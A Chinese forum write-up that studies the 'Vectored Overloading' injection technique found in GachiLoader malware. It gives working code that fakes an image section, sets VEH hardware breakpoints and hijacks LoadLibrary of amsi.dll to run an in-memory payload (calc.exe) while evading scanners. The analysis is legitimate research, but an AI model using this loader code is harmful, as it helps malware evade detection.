-
-
[原创]绕过内存扫描:结合 NtCreateSection 与 VEH 硬件断点的 Ldr 劫持技术分析
-
发表于: 4小时前 145
-
看到 CheckPoint 对恶意软件GachiLoader 的分析文章,提到了一种新的 PE 注入技术“Vectored Overloading(向量化重载)”,即通过 VEH 和对内存中的载荷进行直接映射,借助合法的 DLL 内存实现注入,从而规避检测。CheckPoint 提供了这项技术的测试代码,以下是对这项技术的学习记录。
- 编译环境:Windows 11, VS2019, debug x64
- 运行环境:Windows 11
1. 将 PE 文件读取到内存
读取 C:\Windows\System32\calc.exe 的文件内容到内存,这是之后要注入的 Payload。
1 2 3 4 5 | HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);DWORD fileSize = GetFileSize(hCalc, NULL);BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL); |
GetProcessHeap 函数获取调用进程的默认堆的句柄。 进程可以使用此句柄从进程堆分配内存,而无需先使用 HeapCreate 函数创建专用堆
ReadFile 函数从指定的文件或输入/输出(I/O)设备读取数据
然后 exe 文件变成 dll 文件。calc.exe原本是 exe 文件,FileHeader.Characteristics 的字段IMAGE_FILE_DLL 为 0。
现在需要将 IMAGE_FILE_DLL 改为 1,并清除入口点地址(设置为 0,防止冲突,之后再设置具体地址)。这样能让calc.exe像 DLL 一样可以在内存任意位置运行,不挑剔地址;而且让它看起来和被替换的 wmp.dll 更像,起到一定免杀效果。
1 2 3 4 5 6 | DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint;if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)){ nt->FileHeader.Characteristics |= IMAGE_FILE_DLL; //0x0和0x200进行按位或运算结果是0x200 nt->OptionalHeader.AddressOfEntryPoint = 0;} |
2. 创建 "傀儡" 节(Section)
首先需要调用函数NtCreateSection。 函数 NtCreateSection 属于是ntdll.dll 中未公开的函数。ntdll.lib 不是 Visual Studio 标准 C++ 桌面开发环境默认包含的库。它是 Windows Driver Kit (WDK) 的一部分,所以需要先声明,并且说明函数的名称、参数类型、返回值、调用约定
1 2 3 | #pragma comment(lib, "ntdll.lib")EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL); |
(这种隐式链接的方式很容易在逆向分析时被发现,这里应该是为了方便没有用 LoadLibrary + GetProcAddress 这种显式链接的方式获取NtCreateSection 地址了)
函数 NtCreateSection 负责创建节对象。
1 2 3 4 5 6 7 8 9 | __kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection( [out] PHANDLE SectionHandle, //指向接收节对象的句柄的 HANDLE 变量的指针 [in] ACCESS_MASK DesiredAccess, //指定一个ACCESS_MASK值,该值确定请求对对象的访问 [in, optional] POBJECT_ATTRIBUTES ObjectAttributes, [in, optional] PLARGE_INTEGER MaximumSize, //指定节的最大大小(以字节为单位) [in] ULONG SectionPageProtection, //指定要在节中的每个页面上放置的保护 [in] ULONG AllocationAttributes, //指定SEC_XXX 标志的位掩码,用于确定节的分配属性 [in, optional] HANDLE FileHandle //(可选)指定打开的文件对象的句柄); |
其中需要注意的参数是AllocationAttributes,用于确定节的分配属性,可以设置为 SEC_COMMIT(0x8000000)、SEC_IMAGE(0x1000000)、SEC_IMAGE_NO_EXECUTE(0x11000000)>、SEC_LARGE_PAGES0x80000000)等 7 个属性值。
这里程序将节对象的分配属性设置为SEC_IMAGE,也就是说告诉操作系统把这个文件当成 “可执行程序(Image)” 来解析和映射,别当成普通文本文件。SEC_IMAGE 属性必须与页面保护值(如 PAGE_READONLY)结合使用。
1 2 | HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp); |
为什么不用VirtualAlloc,而是要用NtCreateSection ?
- VirtualAlloc 分配的是 MEM_PRIVATE,绝大多数合法的 EXE/DLL 代码不会运行在 MEM_PRIVATE 里,如果一块 MEM_PRIVATE 内存拥有 EXECUTE 权限,这在安全软件眼里是非常明显的恶意特征;NtCreateSection (SEC_IMAGE) 分配的是 MEM_IMAGE,这是所有正规 DLL 加载的方式
- 如果用 VirtualAlloc 分配内存然后加载 PE 文件,必须手动写代码去处理 PE 文件的映射,需要算地址、对齐节、处理导入表,这相当于你要手写一个加载器;NtCreateSection分配的内存因为有 SEC_IMAGE 标志,操作系统内核完成了所有的解析、对齐、加载工作
调用NtCreateSection函数时,Windows 内核会在内核空间创建一个 Section Object (节对象)。这个对象本身是存放在内核空间的,用户态程序无法直接操作。NtCreateSection 不能独自完成内存分配工作,还需要结合函数NtMapViewOfSection。
现在拿到的 gSectionHandle 只是一个句柄,程序后面紧接着调用的 NtMapViewOfSection,才能把节对象映射到当前进程的用户空间虚拟内存里。
3. 预先映射并篡改
使用 NtMapViewOfSection 将这个基于 wmp.dll 的节映射到当前进程内存
1 2 3 4 5 6 7 8 9 10 11 12 | NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection( IN HANDLE SectionHandle, //需要映射的节对象句柄 IN HANDLE ProcessHandle, //被映射的目标进程句柄 IN OUT PVOID *BaseAddress OPTIONAL, //映射的内存基址 IN ULONG ZeroBits OPTIONAL, //对高位地址的限制,通常设为0 IN ULONG CommitSize, //初始提交大小 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, //偏移量,即从文件的第几个字节开始映射 IN OUT PULONG ViewSize, //映射的大小,如果填 0,内核会把整个 Section 都映射进去 IN InheritDisposition, //继承倾向,决定子进程是否能映射这块内存 IN ULONG AllocationType OPTIONAL,//分配类型 IN ULONG Protect //内存保护属性); |
简单说,NtMapViewOfSection这个函数是把 SectionHandle 指定的文件,映射到 ProcessHandle 指定的进程里,大小由 ViewSize 决定,地址由 BaseAddress 接收。
映射内存后,紧接着使用 VirtualProtect 修改内存权限,清空原有 wmp.dll 的内容,并将 calc.exe 的 PE 头和各节(Section)手动复制进去,修复 calc.exe 的重定位,设置各节的属性。
1 2 3 4 5 6 7 8 | status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE);VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt);memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage);CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize);ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase);ApplySectionProtections(gBaseAddress); |
虽然把内存里的内容全部清空并替换了,但这块内存的属性依然是 MEM_IMAGE,并且在操作系统眼中,这块内存区域依然关联着 wmp.dll 这个文件。
这里修改了内存,硬盘上的 wmp.dll 文件会不会也被改掉?并不会
Windows 有一种机制叫写时复制 (Copy-on-Write)。“写时复制”是一种内存优化技术,让多个进程共享同一份物理内存页面,直到其中一个进程尝试写入(修改)数据时,系统才真正创建一份独立的副本,从而节省内存和时间。
程序在调用memset、memcpy 等函数把数据写进 wmp.dll 的映射内存时,操作系统会申请一块新的物理页,把旧页面的内容拷贝到新页面,并将新页面的权限设置为可写入,CPU 重新执行写入指令,完成对新页面的数据修改。
4. 设置 hook
主要流程如下:注册VEH 异常处理函数,然后在函数NtOpenSection设置硬件断点,调用 loadlibrary 加载一个系统的 dll 触发断点,让程序进入VEH 异常处理函数,修改部分代码劫持程序执行流程,让程序跳转到之前设置好的 Payload,也就是映射 calc.exe 的内存,最后执行 Payload 弹出计算器窗口。
4.1 注册 VEH 异常处理函数
首先我们需要理了解VEH(Vectored ExceptionHandler,向量化异常处理)。简单说一下,从Windows XP开始,在以前的SEH(Structured Exception Handling)结构化异常处理的基础上, 微软又增加了一种新的异常处理VEH。
- VEH和进程异常处理类似,都是基于进程的,而且需要使用API(AddVectoredExceptionHandler)注册回调函数
- 可以注册多个VEH,VEH结构体之间串成双向链表
- VEH处理优先级次于调试器处理,高于SEH处理;即KiUserExceptionDispatcher()首先检查是否被调试,然后检查VEH链表,最后检查SEH链表
- 注册VEH时,可以指定其在链中的位置,不一定像 SEH 那样必须按照注册的顺序压入栈中
- VEH保存在堆中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | //注册向量化异常处理程序PVOID AddVectoredExceptionHandler( ULONG First, PVECTORED_EXCEPTION_HANDLER VectoredHandler);//取消已注册的向量化异常处理程序ULONG RemoveVectoredExceptionHandler( PVOID Handle //先前使用 AddVectoredExceptionHandler 函数注册的向量异常处理程序的句柄);//VEH结构体struct _VECTORED_EXCEPTION_NODE{ DWORD m_pNextNode; DWORD m_pPreviousNode; PVOID m_pfnVectoredHandler; } |
注册一个 VEH (Vectored Exception Handler):InjectHandler
1 | PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler); |
1u 表示 ULONG 类型的 1, 表示只要有异常发生,第一个通知这里注册的异常处理程序InjectHandler。一旦异常发生,操作系统就会暂停当前的程序,转而去调用这个函数InjectHandler。
4.2 异常处理函数
注册的 InjectHandler 异常处理函数实现逻辑如下:
- 先判断是不是硬件断点触发的异常。 EXCEPTION_SINGLE_STEP是硬件断点触发时特有的异常代码,如果条件符合,就继续异常处理;否则InjectHandler 直接返回。
1 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) |
- 当程序(LoadLibrary)试图调用 NtOpenSection 去打开一个 dll 文件时,断点触发,进入这个 Case
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | case LdrState::StateOpenSection: { printf("[*] gLdrState == LdrState::StateOpenSection\r\n"); *(PHANDLE)ctx->Rcx = gSectionHandle; ctx->Rax = 0; BYTE* rip = (BYTE*)ctx->Rip; while (*rip != 0xC3) ++rip; ctx->Rip = (ULONG_PTR)(rip); gLdrState = LdrState::StateMapViewOfSection; SetHardwareBreakpoint(NtMapViewOfSection, ctx); NtContinue(ctx, FALSE); //读取结构体ctx里的所有数据,并将它们物理地加载到 CPU 的真实寄存器中。一旦加载完成,CPU 就会立即跳转到 ContextRecord->Rip 指向的地址开始执行 return EXCEPTION_CONTINUE_EXECUTION; } break; |
- ctx->Rcx:根据 x64 调用约定,Rcx 是第一个参数。在 NtOpenSection 中,第一个参数是 PHANDLE SectionHandle(用来接收结果的指针)。
- (PHANDLE)ctx->Rcx = gSectionHandle:之前准备好的 gSectionHandle (那个伪装成 wmp.dll 的 calc) 填到了NtOpenSection 的第一个参数中。
- 跳过执行 (ctx->Rip = ... RET):指令指针被修改了,直接跳到了函数的结尾(RET,0xC3 是汇编指令RET 的指令码)。
- 再设置硬件断点:在函数NtMapViewOfSection 也设置了一个硬件断点
真正的 NtOpenSection 根本没有执行!操作系统压根不知道程序想打开 amsi.dll。调用者收到了 STATUS_SUCCESS (Rax=0),并且多了一个 Handle,操作系统以为成功打开了 amsi.dll,但其实是之前构造的填充了 calc.exe 的 Section。
根据 x64 调用约定,最左边 4 个位置的整数值参数从左到右分别在 RCX、RDX、R8 和 R9 中传递
NtOpenSection 也是一个未公开的函数,和之前的NtCreateSection 需要提前声明
1 2 3 4 5 6 7 8 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);//NtOpenSection函数定义NTSYSAPI NTSTATUS NTAPI NtOpenSection( OUT PHANDLE SectionHandle, // 句柄 IN ACCESS_MASK DesiredAccess, // 权限 IN POBJECT_ATTRIBUTES ObjectAttributes // 对象属性); |
- 调用者拿到了假的 Handle,去调用 NtMapViewOfSection 想把文件映射到内存。断点再次触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | case LdrState::StateMapViewOfSection: { printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n"); if ((HANDLE)ctx->Rcx != gSectionHandle) return EXCEPTION_CONTINUE_EXECUTION; printf(" Section handle is ours\r\n"); PVOID* baseAddrPtr = (PVOID*)ctx->R8; PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); if (baseAddrPtr) *baseAddrPtr = gBaseAddress; if (viewSizePtr) *viewSizePtr = gViewSize; *allocTypePtr = 0; *protectPtr = PAGE_EXECUTE_READWRITE; ctx->Rax = 0; BYTE* rip = (BYTE*)ctx->Rip; while (*rip != 0xC3) ++rip; ctx->Rip = (ULONG_PTR)(rip); ctx->Dr0 = 0LL; //LL代表 long long 类型(64 位整数),x64环境下CPU 的寄存器都是 64 位 ctx->Dr1 = 0LL; ctx->Dr2 = 0LL; ctx->Dr3 = 0LL; ctx->Dr6 = 0LL; ctx->Dr7 = 0LL; ctx->EFlags |= 0x10000u; //0x10000 换算成二进制是 10000000000000000,也就是第 16 位,Resume Flag (RF)恢复标志 //把RF置为1,防止程序在同一个断点位置反复触发异常,卡死在原地 NtContinue(ctx, FALSE); return EXCEPTION_CONTINUE_EXECUTION; break; } |
- ctx->Rcx:这是传入的 Handle。代码先检查一下,确保这个请求是针对之前那个假 Handle 的。
- ctx->R8:这是 BaseAddress 的指针。正常情况下,内核会分配一块新内存,把地址填进去。
- *baseAddrPtr = gBaseAddress:把之前就已经在内存里布置好的、填满了 calc.exe 代码的那个地址 (gBaseAddress) 塞给了调用者。
同样,真正的 NtMapViewOfSection 也没有执行,内核什么都不知道。然后清除断点,抹除痕迹。
4.3 设置硬件断点
怎么人为地让异常发生呢?前面已经提过,需要设置硬件断点。
CPU 内部有 8 个调试寄存器:
- Dr0, Dr1, Dr2, Dr3 为存放断点地址的寄存器,这意味着同时最多只能下 4 个硬件断点
- DR4和DR5 目前保留,没有实际使用
- DR6为调试异常产生后显示的一些信息
- DR7保存了断点是否启用、断点类型和长度等信息,例如断点的长度设置到DR7的LEN0-LEN3中,将断点的类型设置到DR7的RW0-RW3中,将是否启用断点设置到DR7的L0-L3中

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx){ if (ctx) { ctx->Dr7 = 1LL; //打开 Dr0 的开关(L0位置1) ctx->Dr0 = (DWORD64)address; //把新的监控地址填进去 NtContinue(ctx, FALSE); //恢复执行 } else { // Default to current thread if no context was given CONTEXT context = { 0 }; context.ContextFlags = CTX_FLAGS; HANDLE hThread = GetCurrentThread(); //拿到当前线程的句柄 if (!GetThreadContext(hThread, &context)) //获取当前 CPU 的状态(拍快照) return FALSE; context.Dr7 = 1; context.Dr0 = (DWORD64)address; //设置硬件断点 if (!SetThreadContext(hThread, &context)) return FALSE; } return TRUE;} |
使用调试寄存器在NtOpenSection函数的地址上设置硬件断点;因为 NtOpenSection 是系统函数,如果用软件断点(修改内存),杀毒软件和反作弊系统(如 BattlEye)会立刻检测到系统 DLL 被篡改了。利用硬件断点 + VEH(异常处理),可以在不修改任何一个字节代码的情况下,劫持系统函数的执行流程。
1 | SetHardwareBreakpoint(NtOpenSection, NULL); |
5. 劫持加载流程
调用 LoadLibraryW(L"amsi.dll"),触发 Windows 加载器(Ldr)内部的 NtOpenSection 和 NtMapViewOfSection 调用
1 | HMODULE base = LoadLibraryW(L"amsi.dll"); |
5.1 阶段 1 (NtOpenSection)
当 LoadLibrary试图打开 amsi.dll时会调用NtOpenSection,触发硬件断点。异常处理程序拦截执行,将输出参数SectionHandle 替换为之前创建的 gSectionHandle(即那个伪装的wmp.dll)。然后修改 RIP指针跳过真正的系统调用。
操作系统以为它成功打开了 amsi.dll,但实际上拿到的是篡改过的 Handle。
1 | *(PHANDLE)ctx->Rcx = gSectionHandle; |
5.2 阶段 2 (NtMapViewOfSection)
VEH 异常处理流程随后在 NtMapViewOfSection 下断点。当加载器试图映射这个 Handle 时,处理程序再次拦截,将映射的基址(BaseAddress)替换为已经准备好的地址。
1 2 3 4 5 6 7 8 9 | PVOID* baseAddrPtr = (PVOID*)ctx->R8;PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38);ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48);ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50);if (baseAddrPtr) *baseAddrPtr = gBaseAddress;if (viewSizePtr) *viewSizePtr = gViewSize; |
LoadLibrary认为它加载了amsi.dll,但实际上通过劫持,它“复用”了那块已经写入 calc.exe 代码的内存。
6. 执行 Payload
1 2 3 4 5 6 7 8 | //移除VEH异常处理函数RemoveVectoredExceptionHandler(InjectHandler);//设置calc.exe的entryPoint,执行payloadPVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset;printf("[*] Jumping to entrypoint at %p\n", entryPoint);((void (*)())entryPoint)();return 0; |
运行成功
7. 参考链接
GachiLoader: Defeating Node.js Malware with API Tracing
VectoredOverloading/main.cpp at main · CheckPointSW/VectoredOverloading(完整代码在这个项目链接中,可供各位读者参考)
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!